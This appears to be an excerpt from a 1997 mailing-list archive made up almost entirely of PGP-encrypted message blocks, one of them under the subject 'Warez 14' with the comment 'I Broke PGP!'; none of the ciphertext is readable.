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
WpWD9SrDTL3M2OgKiKxEC6aofJKz9XOWYLs=
=Fqm5
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:39:09 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:39:09 +0800
Subject: Warez 14
Message-ID: <199712180831.AAA16106@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7LnPq0Sug7WI0MSRDuRTI0QNriim+rFx106QMSiHKjIhH2cj
Cd9rQUoQbpVjxNhhrMBF71XKnZgWBw1X7F0Zo/hR948DUjadp1JxGcN7yEmDpwTB
P/YydDt1efxuCdNrmYxgLbQKWoVnjaT3plj5NYII5xIK42dEzMB7dxV77E+3p/4A
uzag2Pw0k4axGeX0G7kNV/rtumVVZgydnv0hasxIs8KtnSDUAHfERDKqXAnQRAdU
18jFzEatf63H500v8HRhe4WtJQm9BAqvWTzpmGOoaauzjM9rsN2cVDDPSFjh0sUs
EdCnIeEya4QmybWxkGUqFmAZuz6WNxW7BPPbZbGw2EXN9g/IFPAwzRHTiMR/FsWy
VosONfB4qveaSCE1g+/tSe9Ghrho3cpm0KaHWUnWMH1JkCrA+TxI2VHtbkjaIl2N
/bKT1gn80gmbaj/4xpglSO3MyNQNOcw+oTRQSVGzoDMKLjDtgKLMJxfSLo61JZ/d
RLgVDlZkXZu9DwyWvlxASCi0QbvfxC+Y4K/g/9uXOSm5ZEeHehYLqqQi6GI5t6uP
elCTExi7aqXImCwD7e49wPmNDykgnRu06OOFVy+6uO91GFx97OFjYFNYBmUf+jPc
L356zeqAjD7YZqnFgHbGnaY9uUkwS4QEVU6WPdZsxdrIBPzwLFbnFWRDbOebdyJI
tCBdvOqxifDMsxSNaYrS1evXAeUWHAyynwrK29U92iY8NK4R6yfhLNP6A3yyUbxZ
b7dZM6N+yq2vGgxfUjWCO+GTbV5ZlvEFQ4pemhZAdJMyOW82It+CkNNriW300BuE
GOJij59f860QCqkRcNcH3CYwrNCLuHdsUFpNQzvs7Lybv2TRk5vx9Ay8xO07dFrv
PkDSx7FKmAvjekx+LCdqZ4NF4k6r6Md7uYaw+byUGQqU9AhBNzMnkBU1Fn5UXX8t
5C1wnVZJPKGCtZoTzZ5fwhpswYdoX+YOH4xlZSorCpFlLHm9HhYgwub46QiKIQ/a
bqh0sIGJxJIuFH5d+jGWH+f4pEfngfLXnxdIcS+MWhhKoa+8N71QFXZNAlItPSsR
FmEMkLzEkLooM5DyYyteMaapE+sFH+fKcTeGWwApNY+eikPJJzdEzjDfzqrOJba1
5BB0bqKJO+kDpJSLvRywUARhKgkRir3wV95qEx5/MbIJiygG1//GuQWDOxUlGswZ
wBg5gEWewloaU15S6+7qzNbREVcxAl1cBUF2ANcAZBaHVYpdltpGYWeczFTukSvM
F7ual282GVMwvEZl3HUQzT/XOh7XuuF29QCIhp8qniuVf08wlNgwZ0kKFwlPQhOX
cl1SogG6nqCaAOCKNFpd8NkJ9Qtgfn49ivMSkYMukUNpxlqkgtP+X7FCywLP/QLG
u+dPz9UMQsErRX+eLntfpDivFLadt+ntavhY10tRnc1illDekoxqs6pnsXChyNBL
iwwhS8vPBU6hZwLO3D/rpIqPbFFIU1nTEYkS8KsRgWhE53X9Cbz9aHlrHQTrkoLI
h7zzpXcBIte5OtV0uwlynXlJgliy4CFVyVWlCi5aKT6mWcQIaARjtdQ3f6HOGFEF
CfrZka4TI/15KYo7RxL1Z+veLyiY669dVv4yEGrD/PuD2BoUFLoYSQ5P8XCr9dYb
a9IsHd1phXQXmVF/zJJjEs/plog1tlmQjQuyiehmjDfe8S28iZnCtyQKqj6w9A5y
tvQ+cizCJ8AsZ9FzLSDN1eUqZdBEBzu94X60NlJgMPq07a9zvLvGw3ZqDH6E8690
